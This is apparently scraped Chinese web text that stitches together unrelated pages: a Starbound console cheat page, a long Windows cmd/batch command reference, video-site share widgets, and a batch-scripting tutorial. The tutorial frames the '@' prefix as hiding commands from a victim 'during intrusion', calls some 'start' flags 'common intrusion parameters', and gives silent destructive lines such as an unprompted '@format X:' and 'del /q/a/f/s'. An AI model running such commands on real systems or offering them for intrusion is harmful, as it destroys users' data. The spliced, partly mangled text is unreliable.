最安全高效贴心的防爆手机,济南福建安兴食品有限公司如何做到

星界边境控制台指令大全及使用方法 星界边境作弊码汇总
日 来源:互联网 编辑:纯真
模块直接满级指令
& &星界边境控制台指令兼容最新1.0正式版
& &模块直接满级指令:
& &打开采集器模块的升级界面,然后直接在控制台界面输入manipulatormodule就可以直接将模块升级到满级了,最重要的是不会耗费任何的金钱以及材料。
4 友情提示:支持键盘左右键← →翻页 本文导航
第4页: 模块直接满级指令
星界边境你感兴趣吗?
看完这篇文章有何感觉?
相关攻略及下载:8-88-88-88-88-78-78-68-58-58-5
48小时热门评论
一周热点资讯
男子买活体葫芦娃被骗笑出声,这帮人好逗! 世界政府、天龙人,谁才是世界第一邪恶组织?
2016年市场占有率暴跌一半,曾经的大佬为何沦落至此? 中国游戏制作者获得认可,精品佳作也越来越多。
CopyRight&2004年-年 < 游迅网 All Rights Reserved
备案编号:沪ICP备号-61376人阅读
操作系统、网络及软件使用(36)
1 echo 和 @
@&&&&&&&&&&&&&&&&&&&&&&& #关闭单行回显
echo off&&&&&&&&&&&&&&&& #从下一行开始关闭回显
@echo off&&&&&&&&&&&&&&& #从本行开始关闭回显。一般批处理第一行都是这个
echo on&&&&&&&&&&&&&&&&& #从下一行开始打开回显
echo&&&&&&&&&&&&&&&&&&&& #显示当前是 echo off 状态还是 echo on 状态
echo.&&&&&&&&&&&&&&&&&&& #输出一个”回车换行”,空白行
&&&&&&&&&&&&&&&&&&&&&&&& #(同echo, echo&#43; echo[ echo] echo/ echo)
2 errorlevel
echo %errorlevel%
每个命令运行结束,可以用这个命令行&#26684;式查看返回码
默认&#20540;为0,一般命令执行出错会设 errorlevel 为1
显示文件夹内容
dir&&&&&&&&&&&&&&&&&&& #显示当前目录中的文件和子目录
dir /a&&&&&&&&&&&&&&&& #显示当前目录中的文件和子目录,包括隐藏文件和系统文件
dir c: /a:d&&&&&&&&&&& #显示 C 盘当前目录中的目录
dir c: /a:-d&&&&&&&&&& #显示 C 盘根目录中的文件
dir c: /b/p&&&&&&&&&&& #/b只显示文件名,/p分页显示
dir *.exe /s&&&&&&&&&& #显示当前目录和子目录里所有的.exe文件
cd&&&&&&&&&&&&&&&&&&&& #进入根目录
cd&&&&&&&&&&&&&&&&&&&& #显示当前目录
cd /d d:sdk&&&&&&&&&&& #可以同时更改盘符和目录
md d:abc&&&&&&&&&&&& #如果 d:a 不存在,将会自动创建中级目录
&&&&&&&&&&&&&&&&&&&& #如果命令扩展名被停用,则需要键入 mkdir abc。
rd abc&&&&&&&&&&&&&& #删除当前目录里的 abc 子目录,要求为空目录
rd /s/q d:temp&&&&&& #删除 d:temp 文件夹及其子文件夹和文件,/q安静模式
del d:test.txt&&&&&&&& #删除指定文件,不能是隐藏、系统、只读文件
del /q/a/f d:temp*.*
删除 d:temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录
del /q/a/f/s d:temp*.*
删除 d:temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录
重命名命令
ren d:temp tmp&&&&&&&& #支持对文件夹的重命名
显示文件内容
type c:boot.ini&&&&&&& #显示指定文件的内容,程序文件一般会显示乱码
type *.txt&&&&&&&&&&&& #显示当前目录里所有.txt文件的内容
copy c:test.txt d:test.bak
复制 c:test.txt 文件到 d: ,并重命名为 test.bak
copy con test.txt
从屏幕上等待输入,按 Ctrl&#43;Z 结束输入,输入内容存为test.txt文件
con代表屏幕,prn代表打印机,nul代表空设备
copy 1.txt &#43; 2.txt 3.txt
合并 1.txt 和 2.txt 的内容,保存为 3.txt 文件
如果不指定 3.txt ,则保存到 1.txt
copy test.txt &#43;
复制文件到自己,实际上是修改了文件日期
设置cmd窗口的标题
title 新标题&&&&&&&&&&& #可以看到cmd窗口的标题栏变了
显示系统版本
14 label 和 vol
vol&&&&&&&&&&&&&&&&&&&& #显示卷标
label&&&&&&&&&&&&&&&&&& #显示卷标,同时提示输入新卷标
label c:system&&&&&&&&& #设置C盘的卷标为 system
16 rem 和 ::
注释行不执行操作
17 date 和 time
日期和时间
date&&&&&&&&&&&&& #显示当前日期,并提示输入新日期,按“回车“略过输入
date/t&&&&&&&&&&& #只显示当前日期,不提示输入新日期
time&&&&&&&&&&&&& #显示当前时间,并提示输入新时间,按“回车“略过输入
time/t&&&&&&&&&&& #只显示当前时间,不提示输入新时间
18 goto 和 :
:label&&&&&&&&&&& #行首为:表示该行是标签行,标签行不执行操作
goto label&&&&&&& #跳转到指定的标签那一行
19 find (外部命令)
find “abc“ c:test.txt
在 c:test.txt 文件里查找含 abc 字符串的行
如果找不到,将设 errorlevel 返回码为1
find /i “abc” c:test.txt
查找含 abc 的行,忽略大小写
find /c “abc“ c:test.txt
显示含 abc 的行的行数
20 more (外部命令)
more c:test.txt&&&&&&& #逐屏显示 c:test.txt 的文件内容
显示目录结构
tree d:&&&&&&&&&&&&&&& #显示D盘的文件目录结构
22 && 顺序执行多条命令,而不管命令是否执行成功
23 && 和 ||
&&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
| | 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
find “ok“ c:test.txt && echo 成功
如果找到了“ok“字样,就显示“成功“,找不到就不显示
find “ok“ c:test.txt || echo 不成功
如果找不到“ok“字样,就显示“不成功“,找到了就不显示
dir *.* /s/a | find /c “.exe“
管道命令表示先执行 dir 命令,对其输出的结果执行后面的 find 命令
该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数
type c:test.txt|more
这个和 more c:test.txt 的效果是一样的
25 〉 和 〉〉 和 ^
输出重定向命令
〉 清除文件中原有的内容后再写入
〉〉 追加内容到文件末尾,而不会清除原有的内容
主要将本来显示在屏幕上的内容输出到指定文件中
指定文件如果不存在,则自动生成该文件
type c:test.txt 〉prn
屏幕上不显示文件内容,转向输出到打印机
echo hello world〉con
在屏幕上显示hello world,实际上所有输出都是默认 〉con 的
copy c:test.txt f: 〉nul
拷贝文件,并且不显示“文件复制成功“的提示信息,但如果f盘不存在,还是会显示出错信息
copy c:test.txt f: 〉nul 2〉nul
不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息
^的作用是把命令符号转意成文本符号,它也可以转意自己,如:
echo ^^W ^〉 ^W〉c:test.txt
生成的文件内容为 ^W 〉 W
^ 和 〉 是控制命令,要把它们输出到文件,必须在前面加个 ^ 符号
|是管道命令,要显示|,就要加^
26 ’’ 和 ““
单引号的作用是,将多个命令组成的复合语句当成一条语句
双引号的表示其内部内容为文本符号,它也可以连接两个或多个以空&#26684;间隔的文本符号
for /f “tokens=15“ %%i in (’ipconfig ^| find /i “ip address“’) do set ip=%%i
ipconfig为语句一,find /i “ip address“为语句二,用单引号合为一条语句
IF /I “%c%“==“1“ ECHO %c%
set p=“I Love You!!“
find if set
从文件中获得输入信息,而不是从屏幕上
一般用于 date time label 等需要等待输入的命令
echo 〉temp.txt
date 〈temp.txt
del temp.txt
这样就可以不等待输入直接修改当前日期
28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*
命令行传递给批处理的参数
%0 批处理文件本身
%1 第一个参数
%9 第九个参数
%* 从第一个参数开始的所有参数
批参数(%n)的替代已被增强。您可以使用以下语法:
&& %~1&&&&&&&&&&&& - 删除引号(“),扩充 %1
&& %~f1&&&&&&&&&&& - 将 %1 扩充到一个完全合&#26684;的路径名
&& %~d1&&&&&&&&&&& - 仅将 %1 扩充到一个驱动器号
&& %~p1&&&&&&&&&&& - 仅将 %1 扩充到一个路径
&& %~n1&&&&&&&&&&& - 仅将 %1 扩充到一个文件名
&& %~x1&&&&&&&&&&& - 仅将 %1 扩充到一个文件扩展名
&& %~s1&&&&&&&&&&& - 扩充的路径指含有短名
&& %~a1&&&&&&&&&&& - 将 %1 扩充到文件属性
&& %~t1&&&&&&&&&&& - 将 %1 扩充到文件的日期/时间
&& %~z1&&&&&&&&&&& - 将 %1 扩充到文件的大小
&& %~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1
&&&&&&&&&&&&&&&& 扩充到找到的第一个完全合&#26684;的名称。如果环境
&&&&&&&&&&&&&&&& 变量名未被定义,或者没有找到文件,此组合键会
&&&&&&&&&&&&&&&& 扩充到空字符串
可以组合修定符来取得多重结果:
&&&&&& %~dp1&&&&&& - 只将 %1 扩展到驱动器号和路径
&&&&&& %~nx1&&&&&& - 只将 %1 扩展到文件名和扩展名
&&&&&& %~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,
&&&&&&&&&&&&&&&&&&&& 并扩展到找到的第一个文件的驱动器号和路径。
&&&&&& %~ftza1&&&& - 将 %1 扩展到类&#20284; DIR 的输出行。
可以参照 call/? 或 for/? 看出每个参数的含意
echo load “%%1“ “%%2“〉c:test.txt
生成的文件内容为 load “%1“ “%2“
批处理文件里,用这个&#26684;式把命令行参数输出到文件
if “%1“==“/a“ echo 第一个参数是/a
if /i “%1“ equ “/a“ echo 第一个参数是/a
/i 表示不区分大小写,equ 和 == 是一样的,其它运算符参见:
&&& EQU - 等于
&&& NEQ - 不等于
&&& LSS - 小于
&&& LEQ - 小于或等于
&&& GTR - 大于
&&& GEQ - 大于或等于
if exist c:test.bat echo 存在c:test.bat文件
if not exist c:windows (
&&&&&&& echo 不存在c:windows文件夹
if exist c:test.bat (
&&&&&&& echo 存在c:test.bat
&&&&&&& ) else (
&&&&&&& echo 不存在c:test.bat
30 setlocal 和 endlocal
设置”命令扩展名”和”延缓环境变量扩充”
SETLOCAL ENABLEEXTENSIONS&&&&&&&&&&&&&&& #启用“命令扩展名“
SETLOCAL DISABLEEXTENSIONS&&&&&&&&&&&&&& #停用“命令扩展名“
SETLOCAL ENABLEDELAYEDEXPANSION&&&&&&&&& #启用“延缓环境变量扩充“
SETLOCAL DISABLEDELAYEDEXPANSION&&&&&&&& #停用“延缓环境变量扩充“
ENDLOCAL&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& #恢复到使用SETLOCAL语句以前的状态
“命令扩展名”默认为启用“延缓环境变量扩充”默认为停用批处理结束系统会自动恢复默认&#20540;
可以修改注册表以禁用“命令扩展名“,详见 cmd /? 。所以用到“命令扩展名“的程
序,建议在开头和结尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 语句,以确
保程序能在其它系统上正确运行“延缓环境变量扩充“主要用于 if 和 for 的符合语句,
在 set 的说明里有其实用例程
引用变量可在变量名前后加 % ,即 %变量名%
set&&&&&&&&&&&&&&&&&&&&&&& #显示目前所有可用的变量,包括系统变量和自定义的变量
echo %SystemDrive%&&&&&&&& #显示系统盘盘符。系统变量可以直接引用
set p&&&&&&&&&&&&&&&&&&&&& #显示所有以p开头的变量,要是一个也没有就设errorlevel=1
set p=aa1bb1aa2bb2&&&&&&&& #设置变量p,并赋&#20540;为 = 后面的字符串,即aa1bb1aa2bb2
echo %p%&&&&&&&&&&&&&&&&&& #显示变量p代表的字符串,即aa1bb1aa2bb2
echo %p:~6%&&&&&&&&&&&&&&& #显示变量p中第6个字符以后的所有字符,即aa2bb2
echo %p:~6,3%&&&&&&&&&&&&& #显示第6个字符以后的3个字符,即aa2
echo %p:~0,3%&&&&&&&&&&&&& #显示前3个字符,即aa1
echo %p:~-2%&&&&&&&&&&&&&& #显示最后面的2个字符,即b2
echo %p:~0,-2%&&&&&&&&&&&& #显示除了最后2个字符以外的其它字符,即aa1bb1aa2b
echo %p:aa=c%&&&&&&&&&&&&& #用c替换变量p中所有的aa,即显示c1bb1c2bb2
echo %p:aa=%&&&&&&&&&&&&&& #将变量p中的所有aa字符串置换为空,即显示1bb12bb2
echo %p:*bb=c%&&&&&&&&&&&& #第一个bb及其之前的所有字符被替换为c,即显示c1aa2bb2
set p=%p:*bb=c%&&&&&&&&&&& #设置变量p,赋&#20540;为 %p:*bb=c% ,即c1aa2bb2
set /a p=39&&&&&&&&&&&&&&& #设置p为数&#20540;型变量,&#20540;为39
set /a p=39/10&&&&&&&&&&&& #支持运算符,有小数时用去尾法,39/10=3.9,去尾得3,p=3
set /a p=p/10&&&&&&&&&&&&& #用 /a 参数时,在 = 后面的变量可以不加%直接引用
set /a p=”1&0″&&&&&&&&&&&& #”与”运算,要加引号。其它支持的运算符参见set/?
set p=&&&&&&&&&&&&&&&&&&&& #取消p变量
set /p p=请输入
屏幕上显示”请输入”,并会将输入的字符串赋&#20540;给变量p
注意这条可以用来取代 choice 命令
注意变量在 if 和 for 的复合语句里是一次性全部替换的,如
if %p%==aaa (
&&&&&&& echo %p%
&&&&&&& set p=bbb
&&&&&&& echo %p%
结果将显示
因为在读取 if 语句时已经将所有 %p% 替换为aaa
这里的“替换“,在 /? 帮助里就是指“扩充“、“环境变量扩充“
可以启用”延缓环境变量扩充”,用 ! 来引用变量,即 !变量名!
SETLOCAL ENABLEDELAYEDEXPANSION
if %p%==aaa (
&&&&&&& echo %p%
&&&&&&& set p=bbb
&&&&&&& echo !p!
结果将显示
还有几个动态变量,运行 set 看不到
%CD%&&&&&&&&&&&&&&&&&&&&& #代表当前目录的字符串
%DATE%&&&&&&&&&&&&&&&&&&& #当前日期
%TIME%&&&&&&&&&&&&&&&&&&& #当前时间
%RANDOM%&&&&&&&&&&&&&&&&& #随机整数,介于0~32767
%ERRORLEVEL%&&&&&&&&&&&&& #当前 ERRORLEVEL &#20540;
%CMDEXTVERSION%&&&&&&&&&& #当前命令处理器扩展名版本号
%CMDCMDLINE%&&&&&&&&&&&&& #调用命令处理器的原始命令行
可以用echo命令查看每个变量&#20540;,如 echo %time%
注意 %time% 精确到毫秒,在批处理需要延时处理时可以用到
批处理中调用外部程序的命令,否则等外部程序完成后才继续执行剩下的指令
批处理中调用另外一个批处理的命令,否则剩下的批处理指令将不会被执行
有时有的应用程序用start调用出错的,也可以call调用
34 choice (外部命令)
让用户输入一个字符,从而选择运行不同的命令,返回码errorlevel为1234……
win2000pro里没有,可以从win98里拷过来
win2003里是choice.exe
choice /N /C y /T 5 /D y〉nul
35 assoc 和 ftype
assoc 设置’文件扩展名’关联,关联到’文件类型’
ftype 设置’文件类型’关联,关联到’执行程序和参数’
当你双击一个.txt文件时,windows并不是根据.txt直接判断用 notepad.exe 打开
而是先判断.txt属于 txtfile ’文件类型’
再调用 txtfile 关联的命令行 txtfile=%SystemRoot%system32NOTEPAD.EXE %1
可以在“文件夹选项“→“文件类型“里修改这2种关联
assoc&&&&&&&&&&&&&& #显示所有’文件扩展名’关联
assoc .txt&&&&&&&&& #显示.txt代表的’文件类型’,结果显示 .txt=txtfile
assoc .doc&&&&&&&&& #显示.doc代表的’文件类型’,结果显示 .doc=Word.Document.8
assoc .exe&&&&&&&&& #显示.exe代表的’文件类型’,结果显示 .exe=exefile
ftype&&&&&&&&&&&&&& #显示所有’文件类型’关联
ftype exefile&&&&&& #显示exefile类型关联的命令行,结果显示 exefile=“%1“ %*
assoc .txt=Word.Document.8
设置.txt为word类型的文档,可以看到.txt文件的图标都变了
assoc .txt=txtfile
恢复.txt的正确关联
ftype exefile=“%1“ %*
恢复 exefile 的正确关联
如果该关联已经被破坏,可以运行
,再输入这条命令
36 pushd 和 popd
切换当前目录
c: & cd & md mp3&&&&&&&&&& #在 C: 建立 mp3 文件夹
md d:mp4&&&&&&&&&&&&&&&&&& #在 D: 建立 mp4 文件夹
cd /d d:mp4&&&&&&&&&&&&&&& #更改当前目录为 d:mp4
pushd c:mp3&&&&&&&&&&&&&&& #保存当前目录,并切换当前目录为 c:mp3
popd&&&&&&&&&&&&&&&&&&&&&&& #恢复当前目录为刚才保存的 d:mp4
这个比较复杂,请对照 for/? 来看
for %%i in (c: d: e: f:) do echo %%i
依次调用小括号里的每个字符串,执行 do 后面的命令
注意%%i,在批处理中 for 语句调用参数用2个%
默认的字符串分隔符是“空&#26684;键“,“Tab键“,“回车键“
for %%i in (*.txt) do find “abc“ %%i
对当前目录里所有的txt文件执行 find 命令
for /r . %%i in (*.txt) do find “abc“ %%i
在当前目录和子目录里所有的.txt文件中搜索包含 abc 字符串的行
for /r . %%i in (.) do echo %%~pni
显示当前目录名和所有子目录名,包括路径,不包括盘符
for /r d:mp3 %%i in (*.mp3) do echo %%i〉〉d:mp3.txt
把 d:mp3 及其子目录里的mp3文件的文件名都存到 d:mp3.txt 里去
for /l %%i in (2,1,8) do echo %%i
生成2345678的一串数字,2是数字序列的开头,8是结尾,1表示每次加1
for /f %%i in (’set’) do echo %%i
对 set 命令的输出结果循环调用,每行一个
for /f “eol=P“ %%i in (’set’) do echo %%i
取 set 命令的输出结果,忽略以 P 开头的那几行
for /f %%i in (d:mp3.txt) do echo %%i
显示 d:mp3.txt 里的每个文件名,每行一个,不支持带空&#26684;的名称
for /f “delims=“ %%i in (d:mp3.txt) do echo %%i
显示 d:mp3.txt 里的每个文件名,每行一个,支持带空&#26684;的名称
for /f “skip=5 tokens=4“ %%a in (’dir’) do echo %%a
对 dir 命令的结果,跳过前面5行,余下的每行取第4列
每列之间的分隔符为默认的“空&#26684;“
可以注意到 dir 命令输出的前5行是没有文件名的
for /f “tokens=1,2,3 delims=- “ %%a in (’date /t’) do (
&&&&&&& echo %%a
&&&&&&& echo %%b
&&&&&&& echo %%c
对 date /t 的输出结果,每行取1、2、3列
第一列对应指定的 %%a ,后面的 %%b 和 %%c 是派生出来的,对应其它列
分隔符指定为 - 和“空&#26684;“,注意 delims=- 后面有个“空&#26684;“
其中 tokens=1,2,3 若用 tokens=1-3 替换,效果是一样的
for /f “tokens=2* delims=- “ %%a in (’date /t’) do echo %%b
取第2列给 %%a ,其后的列都给 %%b
38 subst (外部命令)
映射磁盘。
subst z: serverd&&&&&&&& #这样输入z:就可以访问serverd了
subst z: /d&&&&&&&&&&&&&&&& #取消该映射
subst&&&&&&&&&&&&&&&&&&&&&& #显示目前所有的映时
39&&&&& xcopy (外部命令)
xcopy d:mp3 e:mp3 /s/e/i/y
复制 d:mp3 文件夹、所有子文件夹和文件到 e: ,覆盖已有文件
加 /i 表示如果 e: 没有 mp3 文件夹就自动新建一个,否则会有询问
&&相关文章推荐
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:560823次
积分:9369
积分:9369
排名:第1753名
原创:331篇
转载:124篇
评论:183条
文章:20篇
阅读:29556
文章:15篇
阅读:47046
文章:10篇
阅读:7452
文章:19篇
阅读:16469
(1)(4)(1)(2)(9)(3)(8)(1)(4)(1)(7)(5)(2)(2)(3)(12)(12)(19)(11)(3)(1)(12)(79)(144)(58)(9)(8)(6)(1)(1)(4)(1)(1)(1)(20)(2)分享给朋友:通用代码: <input id="link4" type="text" class="form_input form_input_s" value="" />复 制flash地址: 复 制html代码: <input type="text" class="form_input form_input_s" id="link3" value="" />复 制分享视频到站外获取收益&&手机扫码分享视频二维码2小时内有效快感乐园39下载至电脑扫码用手机看用或微信扫码在手机上继续观看二维码2小时内有效快感乐园39扫码用手机继续看用或微信扫码在手机上继续观看二维码2小时内有效,扫码后可分享给好友没有优酷APP?立即下载请根据您的设备选择下载版本选集
药品服务许可证(京)-经营- 节目制作经营许可证京字670号 请使用者仔细阅读优酷、、Copyright(C)2017 优酷
版权所有不良信息举报电话:bat命令大全_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
bat命令大全
上传于|0|0|文档简介
&&偷来的东西。。
阅读已结束,如果下载本文需要使用0下载券
想免费下载更多文档?
定制HR最喜欢的简历
下载文档到电脑,查找使用更方便
还剩7页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢Bat命令学习 - 阳光雨露& - 博客园
基础部分:======================================================================一、基础语法:
1.批处理文件是一个&.bat&结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文本文件编辑工具创建和修改。
2.批处理是一种简单的程序,可以用 if 和 goto 来控制流程,也可以使用 for 循环。
3.批处理的编程能力远不如C语言等编程语言,也十分不规范。
4.每个编写好的批处理文件都相当于一个DOS的外部命令,把它所在的目录放到DOS搜索路径(path)中,即可在任意位置运行。
5.C:\AUTOEXEC.BAT 是每次系统启动时都会自动运行的,可以将每次启动时都要运行的命令放入该文件中。
6.大小写不敏感(命令符忽略大小写)
7.批处理的文件扩展名为 .bat 或 .cmd。
8.在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe来运行该文件。二、参数:
1) 系统参数
%SystemRoot%
C:\WINDOWS
(%windir% 同样)
%ProgramFiles% ===
C:\Program Files
%USERPROFILE%
C:\Documents and Settings\Administrator
(子目录有&桌面&,&开始菜单&,&收藏夹&等)
C:\Documents and Settings\Administrator\Application Data
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
(%TEM% 同样)
C:\Documents and Settings\Administrator\Application Data
Windows_NT (系统)
%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem
(原本的设置)
%HOMEDRIVE%
%HOMEPATH%
\Documents and Settings\Administrator
:: 枚举当前的环境变量
setlocal enabledelayedexpansion
FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i
2) 传递参数给批处理文件
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用 %1 到 %9 顺序表示。
call test2.bat "hello" "haha" (执行同目录下的&test2.bat&文件,并输入两个参数)
在&test2.bat&文件里写:
(打印: "hello")
(打印: "haha")
(打印: test2.bat)
echo %19 (打印: "hello"9)
三、批处理基本命令
0. help 命令
语法: 命令 /?
可显示此命令的帮助信息
Sample: type /? &&tmp.txt
(把 type 命令的帮助信息写入到tmp.txt文件里)
Sample: help type
(显示跟&type /?&一样)
1.Echo 命令
语法: echo [{on|off}] [message]
ECHO [ON | OFF]
打开回显或关闭回显功能。
显示当前回显设置。
ECHO [message]
显示信息。
echo off 表示在此语句后所有运行的命令都不显示命令行本身;默认是on,on时会显示如: C:\文件夹路径&命令行。
在实际应用中我们会把这条命令和重定向符号( 也称为管道符号,一般用 & && ^ )结合来实现输入一些命令到特定格式的文件中。
Sample: echo off
Sample: echo hello world
(显示出&hello world&)
Sample: echo Windows Registry Editor Version 5.00 & c:\setupreg.reg (此前还没有 setupreg.reg 这个文件)
Sample: echo "SourcePath"="D:\\Win2003\\" && c:\setupreg.reg
(追加内容进 setupreg.reg 这个文件)
表示不显示@后面的命令,(在入侵过程中自然不能让对方看到你使用的命令啦)
@ 与 echo off 相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
Sample: @echo off
(此语句常用于开头,表示不显示所有的命令行信息,包括此句)
Sample: @echo please wait a minite...
Sample: @format X: /q/u/autoset
(format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)3.Goto 命令
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
指定跳转到标签行,找到标签行后,程序将处理从下一行开始的命令。
label标签的名字可以随便起,但是最好是有意义的,字母前必须加个冒号&:&来表示这个字母是标签。
goto命令就是根据这个冒号来寻找下一步跳到到那里。经常与 if 配合使用,根据不同的条件来执行不同的命令组。
例题见&5.Pause 命令&4.Rem 命令
语法:Rem Message...
(小技巧:用::代替rem)
注释命令,在C语言中相当与/*...*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和自己日后修改。
Sample:@Rem Here is the description.
5.Pause 命令
会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
copy a:*.* d:\back
echo Please put a new disk into driver A
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。
显示的信息提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键再次复制。6.Call 命令
语法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数: [Drive:][Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
调用另一个批处理程序,并且不终止父批处理程序。
如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令。
call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
Sample:call="%cd%\test2.bat" haha kkk aaa
(调用指定目录下的 test2.bat,且输入3个参数给他)
Sample:call test2.bat arg1 arg2
(调用同目录下的 test2.bat,且输入2个参数给他)
注:可以调用自身(死循环、递归)7.start 命令
调用外部程序,所有的 DOS命令 和 命令行程序 都可以由 start命令 来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
Sample:start /MIN test2.bat arg1 arg2
(调用同目录下的 test2.bat,且输入2个参数给他,且本窗口最小化)
Sample:e:\"program files"\极品列车时刻表\jpskb.exe
(文件路径名有空格时)
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:
语法: if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
Sample: if "%1" == "a" format a:
Sample: if {%1} == {} goto noparms
2) if exist
语法: if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
Sample: if exist config.sys edit config.sys
(表示如果存在这文件,则编辑它,用很难看的系统编辑器)
Sample: if exist config.sys type config.sys
(表示如果存在这文件,则显示它的内容)
3) if errorlevel number
语法: if [not] errorlevel &数字& 待执行的命令
如果程序返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。(返回值必须按照从大到小的顺序排列)
XCOPY F:\test.bat D:\
IF ERRORLEVEL 1 (ECHO 文件拷贝失败
) Else IF ERRORLEVEL 0 ECHO 成功拷贝文件
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),称为错误码errorlevel或称返回码。
常见的返回码为0、1。通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令。
语法: if 条件 (成立时执行的命令) else (不成立时执行的命令)
如果是多个条件,建议适当使用括号把各条件包起来,以免出错。
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )
注:如果 else 的语句需要换行,if 执行的行尾需用&^&连接,并且 if 执行的动作需用(括起来),否则报错
Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^
else (echo comment3 )
5) 比较运算符:
EQU - 等于
(一般使用&==&)
NEQ - 不等于 (没有 &!=&,改用& if not 1==1 &的写法)
LSS - 小于
LEQ - 小于或等于
GTR - 大于
GEQ - 大于或等于9.choice 命令
choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的 errorlevel,
然后配合 if errorlevel 选择运行不同的命令。
注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。
使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234&&
choice /c:dme defrag,mem,end
defrag,mem,end[D,M,E]?
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
1) for {%variable | %%variable} in (set) do command [command-parameters]
%variable 指定一个单一字母可替换的参数。变量名称是区分大小写的,所以 %i 不同于 %I
在批处理文件中使用 FOR 命令时,指定变量建议用 %%variable而不要用 %variable。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
2) 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
a.FOR /D %variable IN (set) DO command [command-parameters]
如果集里面包含通配符,则指定与目录名匹配,而不与文件名匹配。
b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。
如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
c.FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
如:(1,1,5) 将产生序列 1 2 3 4 5;
而(5,-1,1) 将产生序列 (5 4 3 2 1)。
d.有或者没有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command)
DO command
参数"options"为:
- 指一个行注释字符的结尾(就一个,如&;&)
- 指在文件开始时忽略的行数。
delims=xxx
- 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n
- 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。
m-n格式为一个范围。通过 nth 符号指定 mth。
如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
- 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。
3) Sample:
1. 如下命令行会显示当前目录下所有以bat或者txt为扩展名的文件名。
for %%c in (*.bat *.txt) do (echo %%c)
a. 如下命令行会显示当前目录下所有包含有 e 或者 i 的目录名。
for /D %%a in (*e* *i*) do echo %%a
b. 如下命令行会显示 E盘test目录 下所有以bat或者txt为扩展名的文件名。
for /R E:\test %%b in (*.txt *.bat) do echo %%b
for /r %%c in (*) do (echo %%c)
:: 遍历当前目录下所有文件
c. 如下命令行将产生序列 1 2 3 4 5
for /L %%c in (1,1,5) do echo %%c
d. 以下两句,显示当前的年月日和时间
For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日
